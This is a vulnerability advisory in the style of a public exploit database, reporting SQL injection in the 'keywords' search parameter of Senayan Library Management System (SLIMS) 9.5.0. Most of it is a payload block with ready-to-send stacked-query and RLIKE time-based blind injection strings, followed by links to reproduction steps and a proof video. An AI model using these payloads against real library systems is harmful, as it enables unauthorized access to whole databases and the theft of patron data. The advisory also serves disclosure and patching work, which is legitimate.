Senayan Library Management System 9.5.0 SQL Injection Vulnerability

## Title: Senayan Library Management System v9.5.0 a.k.a SLIMS 9 BULIAN SQLi
## Author: nu11secur1ty
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.0

## Description:
The `keywords` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the keywords parameter, and a general
error message was returned.
Two single quotes were then submitted and the error message
disappeared. The injection is confirmed manually from nu11secur1ty.
The attacker can retrieve all information from the database of this
system, by using this vulnerability.

## STATUS: HIGH Vulnerability

[+] Payload:

```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT
SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')))
RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.0)

## Proof and Exploit:
[href](https://streamable.com/63og5v)

## Time spent
`3:00`